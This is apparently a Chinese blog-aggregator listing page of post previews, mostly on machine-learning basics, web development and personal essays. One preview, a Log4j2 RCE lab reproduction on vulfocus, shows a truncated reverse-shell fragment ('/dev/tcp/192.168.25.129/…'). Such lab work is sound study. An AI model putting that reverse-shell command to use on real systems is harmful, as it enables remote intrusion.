2.0机器学习第30页

机器学习10-特征缩放

特征缩放的目的是确保不同特征的数值范围相近，使得模型在训练过程中更加稳定，加速模型收敛，提高模型性能。具体而言，零均值和单位方差的目标有以下几点好处：1.均值为零（ZeroMean）：通过减去特征的均值，可以使特征分布的中心位于零点。这样做有助于消除不同特征之间的偏差，确保模型不会在某些特征上过度拟合。如果某个特征的均值远离零，模型可能会更关注那些数值较大的特征。2.单位方差（UnitVarian

dracularking·2024-02-10 10:13

机器学习11-前馈神经网络识别手写数字1.0

在这个示例中，使用的神经网络是一个简单的全连接前馈神经网络，也称为多层感知器（MultilayerPerceptron，MLP）。这个神经网络由几个关键组件构成：1.输入层输入层接收输入数据，这里是一个28x28的灰度图像，每个像素值表示图像中的亮度值。2.Flatten层Flatten层用于将输入数据展平为一维向量，以便传递给后续的全连接层。在这里，我们将28x28的图像展平为一个长度为784的

dracularking·2024-02-10 10:13

机器学习9-随机森林

它属于一种被称为“集成学习”或“集成学习器”的机器学习范畴。以下是随机森林的主要特点和原理：1.决策树的集成：随机森林通过构建多个决策树来解决问题。

dracularking·2024-02-10 10:12

机器学习8-决策树

决策树（DecisionTree）是一种强大且灵活的机器学习算法，可用于分类和回归问题。它通过从数据中学习一系列规则来建立模型，这些规则对输入数据进行递归的分割，直到达到某个终止条件。

dracularking·2024-02-10 10:12

如何封装一个简单的VUE组件

基于vue2.0封装一个简单的表单组件前景介绍准备工作准备编码前景介绍这是一篇晚来的文章，毕竟2.0在去年12月份就已经停止维护了，这篇文章当是一个纪念吧。

youmatech·2024-02-10 10:27

sklearn中一些简单机器学习算法的使用

目录前言KNN算法决策树算法朴素贝叶斯算法岭回归算法线性优化算法前言本篇文章会介绍一些sklearn库中简单的机器学习算法如何使用，一些注释已经写在代码中，帮助一些小伙伴入门sklearn库的使用。

橘柚jvyou·2024-02-10 09:34

2020-09-18

同时Python在文件处理、图像处理、机器学习等领域更为简易灵活。如果能将微信机器人接入Python将为开发者带来极大的便利。目前官方正在开发Python版本的机器人，在开发完善

你大爷临终前·2024-02-10 09:16

机器学习--数据清洗

文章目录1.缺失值缺省值填充案例：2.异常值3.数据集成4.实体识别5.冗余属性识别6.数据变换7.亚编码什么是独热编码？数据清洗主要是删除原始数据集中的无关数据、重复数据，平滑噪声数据，筛选掉与挖掘主题无关的数据，处理缺失值、异常值等。1.缺失值处理缺失值的方法可分为3类：删除记录、数据插补和不处理。*缺失值的处理方法插补方法方法描述均值/中位数/众数插补根据属性值的类型，用该属性取值的平均数/

马里奥w·2024-02-10 09:26

【机器学习】数据清洗之处理缺失点

个人主页：甜美的江欢迎点赞✍评论⭐收藏收录专栏：机器学习希望本文对您有所裨益，如有不足之处，欢迎在评论区提出指正，让我们共同学习、交流进步！

甜美的江·2024-02-10 09:25

机器学习项目之数据清洗

前言数据清洗是机器学习项目中最为琐碎而又繁重的工作之一，下面总结一些经常用到的数据清洗方法与Python实现，以探索能否用更加自动化的手段来简化数据清洗工作。

井底哇哇·2024-02-10 09:25

DeepFaceLab2.0 ：超详细入门教程!

新年新气象，DFL也迎来了2.0版本，虽然当前作者还在不断的修bug,但是很多小伙伴肯定已经迫不及待的要去尝试新版本了。今天我就针对2.0版本写一个详细的入门教程，争取做到只要会电脑的就能学会。

V简书·2024-02-10 09:47

Vitis AI 集成

HyperAI超神经·2024-02-10 08:33

智能运维哪些算法？智能运维包含哪些

如何应用再场景中应用在智能运维行业，一些关键算法包括：机器学习算法：如决策树、随机森林、svm算法等，从历史数据中学习方法和规律，预测未来的特点和故障。

云呐AIOps·2024-02-10 08:02

机器学习python中用pd.read_excel（）读取数据，数据类型是object类型，即非numeric数据类型，此时有两种方法查找非法字符

python中用pd.read_excel（）读取数据，数据类型是object类型，原因可能是包含空格或者非法字符，即非numeric数据类型，此时有两种方法查找空格方法1：用excel表格查询，这种适合数据量少的文件，而且是因为空格导致的，空表格（不含任何字符）与含有空格字符的表格是有区别的，含有空格字符的表格左上角有绿色斜三角，因此你找到这种表格左上角含有绿色斜三角的格子，单击然后按下删除键，

井冈山上的游击天才·2024-02-10 08:32

从技术开始-企业内部信息化架构演变

foxbase，标准C，VB，Delphi，VC，C#到VUE+JAVA现在各企业内部信息化架构大多在1.0和2.0之间现在都在嚷嚷数字化转型，老实讲，我搞不懂专家讲的那些东西，甚至弄不清信息化、数字化到底有啥区别

wangbing1125·2024-02-10 08:55

什么是EOS核心仲裁机构

articleid=483229&VNK=492952f5在区块链行业里，所有的知名的数字货币，几乎都是毁誉参半的，比特币的笨重，以太坊的拥堵，他们分别代表了区块链的1.0和2.0。

L哈哈大笑·2024-02-10 08:50

从困难事情中获得乐趣

开始时，大家对机器学习这门课程都很感兴趣。但这门课程很难，而且是一个对学生要求很严格

如意笔记·2024-02-10 07:51

【教学类-46-02】吉祥字门贴2.0（红豆空心黑体文本框空心字涂色建议简体）

作品展示背景需求：制作了空心字的第一款华光通心圆_CNKI，发现它不能识别某些简体字，但可以识别他们的繁体字【教学类-46-01】吉祥字门贴1.0（华光通心圆_CNKI文本框空心字涂色）-CSDN博客文章浏览阅读51次。【教学类-46-01】吉祥字门贴1.0（华光通心圆_CNKI文本框空心字涂色）https://blog.csdn.net/reasonsummer/article/details/

阿夏reasonsummer·2024-02-10 07:54

【初中生讲机器学习】5. 从概率到朴素贝叶斯算法，一篇带你看明白！

创建时间：2024-02-04最后编辑时间：2024-02-05作者：Geeker_LStar你好呀~这里是Geeker_LStar的人工智能学习专栏，很高兴遇见你~我是Geeker_LStar，一名初三学生，热爱计算机和数学，我们一起加油~！⭐(●’◡’●)⭐那就让我们开始吧！上两篇文章中，我详细讲了支持向量机（SVM）算法的原理，并用一个实例实现了它。在这一篇和下一篇中，我将分别讲解&实现朴素

Geeker · LStar·2024-02-10 07:54

【初中生讲机器学习】6. 分类算法中常用的模型评价指标有哪些？here!

前面已经讲了两个分类算法（SVM&朴素贝叶斯），其中在【初中生讲机器学习】4.支持向量机算法怎么用？一个实例带你看懂！中

Geeker · LStar·2024-02-10 07:23

视觉开发板—K210自学笔记(二)

各位同学先下载下面的手册：1.Sipeed-Maix-Bit资料下载：https://dl.sipeed.com/shareURL/MAIX/HDK/Sipeed-Maix-Bit/Maix-Bit_V2.0

永远都是新手·2024-02-10 07:52

机器学习：分类决策树（Python）

一、各种熵的计算entropy_utils.pyimportnumpyasnp#数值计算importmath#标量数据的计算classEntropyUtils:"""决策树中各种熵的计算，包括信息熵、信息增益、信息增益率、基尼指数。统一要求：按照信息增益最大、信息增益率最大、基尼指数增益最大"""@staticmethoddef_set_sample_weight(sample_weight,n_

捕捉一只Diu·2024-02-10 07:47

机器学习系列——（十九）层次聚类

引言在机器学习和数据挖掘领域，聚类算法是一种重要的无监督学习方法，它试图将数据集中的样本分组，使得同一组内的样本相似度高，不同组间的样本相似度低。

飞影铠甲·2024-02-10 07:47

机器学习：回归决策树（Python）

一、平方误差的计算square_error_utils.pyimportnumpyasnpclassSquareErrorUtils:"""平方误差最小化准则，选择其中最优的一个作为切分点对特征属性进行分箱处理"""@staticmethoddef_set_sample_weight(sample_weight,n_samples):"""扩展到集成学习，此处为样本权重的设置:paramsampl

捕捉一只Diu·2024-02-10 07:16

写在周更结业典礼结束后

今天晚上是周更2.0的结业典礼。刚刚才完成日行1万步。真是好担心今天一整天坐在电脑面前完成不了运动计划，还好废了九牛二虎之力完成的。不过我的腰也快不是我的了。哈，本来还担心今天人会很少。

要努力努力再努力一下·2024-02-10 06:45

slf4j-log4j12的jar包

slf4j-log4j12的jar包前言提示：这里可以添加本文要记录的大概内容：例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。

panchaoqun2016·2024-02-10 06:58

如何入行人工智能

这些知识为深入探索机器学习、深度学习和自然语言处理（NLP）等更高级领域铺平了道路。

科联学妹·2024-02-10 06:54

2023计算机（AI）领域相关期刊的SCI分区

就在昨天（12月27日）2023年中科院分区表公布，本文总结了有关计算机领域（尤其是AI（机器学习，CV，NLP，数据挖掘等））的一些期刊的SCI分区，供大家参考学习。

STLearner·2024-02-10 06:08

AUTOSAR汽车电子嵌入式编程精讲300篇-基于FPGA和CAN协议2.0B的总线控制器研究与设计（续）

目录3.2寄存器管理模块3.2.1寄存器规划及设计3.2.2BasicCAN模式3.2.3PeliCAN模式

格图素书·2024-02-10 06:55

早课V2.0-DAY12：微习惯的养成让你受益终身

图片发自App观察:昨晚是九点半不到就躺下了,而且入睡很快.今天是五点以前我就知道自己醒来了的,但是没有迅速爬起来,闹钟响了之后,纠结了二十分钟,五点二十起床了,洗漱好换好衣服,反而精神多了.不过十分钟冥想完之后,妈妈就催着我吃早餐了,进食完之后,我明显开始犯困,所以拖到6:35,我就直接出门去坐地铁了,今早很幸运,我是赶在7:56到公司打卡的.这样看来,高峰期从家到分公司,要一小时20分钟,所幸

五点晨起的赫拉·2024-02-10 05:16

Java高级-多线程

多线程1.线程创建的方法1.1.方法一继承Thread类1.2.方法二实现Runnable接口1.3.方法三实现Callable接口2.线程安全2.0.线程不安全的案例2.1.方式一：同步代码块2.2.

中二Espresso·2024-02-10 05:48

【剽悍一只猫的剽悍财富行动营】2.0启动中

文/莫莫从医疗岗换到了行政岗，一直忙忙碌碌，一点复盘时间都没有，非常焦虑，也知道自己需要补充很多技能，但时间和精力是有限的，身体状况不太好，所以我的目标明确放在写作上。那我能去哪里学写作呢？大概是缘分，就在这时我看到了剽悍江湖训练营的口号“干掉懒怂拖、攻克读写说、升级财富脑、打造影响力”，确实都是我的刚需，要不，我试试看。001读写说打卡入营前，写50字都很困难，看一本书要很长时间，抓不到书的要点

财务自由的社群运营人苏宝·2024-02-10 05:07

机器学习算法之支持向量机（SVM）

SVM恐怕大家即使不熟悉，也听说过这个大名吧，这一节我们就介绍这相爱相杀一段内容。前言：在介绍一个新内容之SVM前，我们不觉映入眼帘的问题是为什么要引入SVM？吃的香，睡的着的情况下，肯定不会是没事干吧~首先，SVM是一个二分类模型【图1】，实质是定义在特征空间的判别模型，其实我们大家应该比较熟悉感知机算法了（我们前面有讲过），也就是找一个超平面来划分特征空间，可是满足该条件的超平面有无穷无尽呀！

浅白Coder·2024-02-10 05:18

vulfocus复现：log4j2-rce-2021-12-09

受影响版本：2.0-beta9&/dev/tcp/192.168.25.129/12

woai_zhongguo·2024-02-10 05:14

优化算法应用（四）优化聚类算法

一．目标描述聚类算法是一类无监督机器学习算法，即在使用该算法时不需要知道数据的标签，而是通过数据各个维度之间的某些特征对数据集进行划分。现在已有的聚类算法很多，划分方式也多种多样。

stronghorse·2024-02-10 04:50

Spring Security 实战干货：客户端OAuth2授权请求的入口

1.前言在SpringSecurity实战干货：OAuth2第三方授权初体验一文中我先对OAuth2.0涉及的一些常用概念进行介绍，然后直接通过一个DEMO来让大家切身感受了OAuth2.0第三方授权功能

码农小胖哥·2024-02-10 04:42

Yii特性

Yii几乎拥有了当今Web2.0应用发展的全部特性。下面是这些特性的一个简短的清单。模型-视图-控制器（MVC）设计模式：Yii在WEB编程中采用这一成熟的技术从而可以更好的将逻辑层和表现层分开。

ifanatic·2024-02-10 03:05

机器学习（8）

本章节是对我学习完机器学习（周志华）第八章所做出来的总结第八章集成学习8.1个体与集成集成学习：通过构建并结合多个学习器来完成学习任务，有时也被称为多分类器系统、基于委员会的学习等。

LY豪·2024-02-10 03:24

router路由跳转的两种模板2.0版本

跳转到首页constnavigateToHome=()=>{//使用路由的push方法导航到/home路由this.$router.push('/home');};由于上一个版本，没有导入全局组件的小伙伴，可能用不了第二套模板（上面那套代码）直接调用router库中的push方法，这边提供一套全新的版本用不来的原因是没添加进全局组件（vue3，vue3，vue3），导致没读出这个玩意第一种解决方法

用键盘当武器的秋刀鱼·2024-02-10 02:44

河东狮如何变回温柔妈妈

这样下去我要变成我妈的2.0版了，我需要一些技巧。01发挥社会认同的力

青鱼1234·2024-02-10 02:39

天使2.0班践行心得与感受

接下来我具体介绍：1、‘’激‘’，即激动，怎么理解呢，加入2.0之前，听宽宽班班提到卓越五班有很多大咖，比如郑婧班主任，树博老师，高班，上过训练营，参加过时间管理践行的课程，我也是怀着这个仰慕之情，自从开大班会后

杨凯云·2024-02-10 01:08

ChatGPT在肾脏病学领域的专业准确性评估

ChatGPT在肾脏病学领域的专业表现评估随着人工智能技术的飞速发展，ChatGPT作为一个先进的机器学习模型，在多个领域显示出了其对话和信息处理能力的潜力。

徐浪老师·2024-02-10 01:50

Anaconda☀利用机器学习sklearn构建模型与实现丨第一课

1️⃣了解什么是机器学习2️⃣了解机器学习sklearn库的简介、安装3️⃣掌握使用sklearn转换器处理数据的方法4️⃣构建并评价线性回归模型认识机器学习1.1机器学习机器学习是人工智能(AI)和计算机科学的分支

猿生态化小勋·2024-02-10 01:18

anaconda数据科学和机器学习的开源工具和库指南---官网白皮书

anaconda数据科学和机器学习的开源工具和库指南---官网白皮书一基础数据科学工具和库jupyterPandasSciPyNumpy二机器学习Tensorflow和KerasPytorchScikit-learn

杨叶辰·2024-02-10 01:18

【机器学习 & 深度学习】开发工具Anaconda的安装与使用

专栏：机器学习：相对完整的机器学习基础教学！

为梦而生~·2024-02-10 01:47

2024.02 国内认知大模型汇总

概述大模型，又称为大规模机器学习模型，是一种基于大数据的人工智能技术。它通过深度学习和机器学习的方法，对大量数据进行训练，以实现对复杂问题的高效解决。

小小晓晓阳·2024-02-10 00:40

慢一点的生活也很美好

生活原本就像一场正常倍速的纪录片，但很多人都喜欢倍速播放，开始时的1.2倍，不过瘾，不够快，接着1.5倍，2.0倍……之所以会倍速，我想大多数人的想法是：可以节约时间，在这个快节奏的时代自己的时间可不能轻易

清風_V·2024-02-10 00:52

兴成长计划！又一次头脑充电！

能有机会参加这次兴成长计划信息化2.0提升班，非常荣幸。感谢各位老师的辛苦付出！在本次为期两个月的学习中，我收获了太多，王子老师分享的很多微信小程序，对教学十分有利，我都在努力的练习。

铁西168陈路·2024-02-10 00:51

TCGA新版数据库表达矩阵提取

主要分享R语言做医学统计学、meta分析、网络药理学、临床预测模型、机器学习、生物信息学等。

医学和生信笔记·2024-02-10 00:22

Spring Boot Admin2.0集成

方式一在SpringBoot项目中，SpringBootAdmin作为Server端，其他的要被监控的应用作为Client端，基于这种的配置如下步骤：AdminServerde.codecentricspring-boot-admin-starter-server2.1.0org.springframework.bootspring-boot-starter-webserver:port:8788

皮多堡·2024-02-09 23:59

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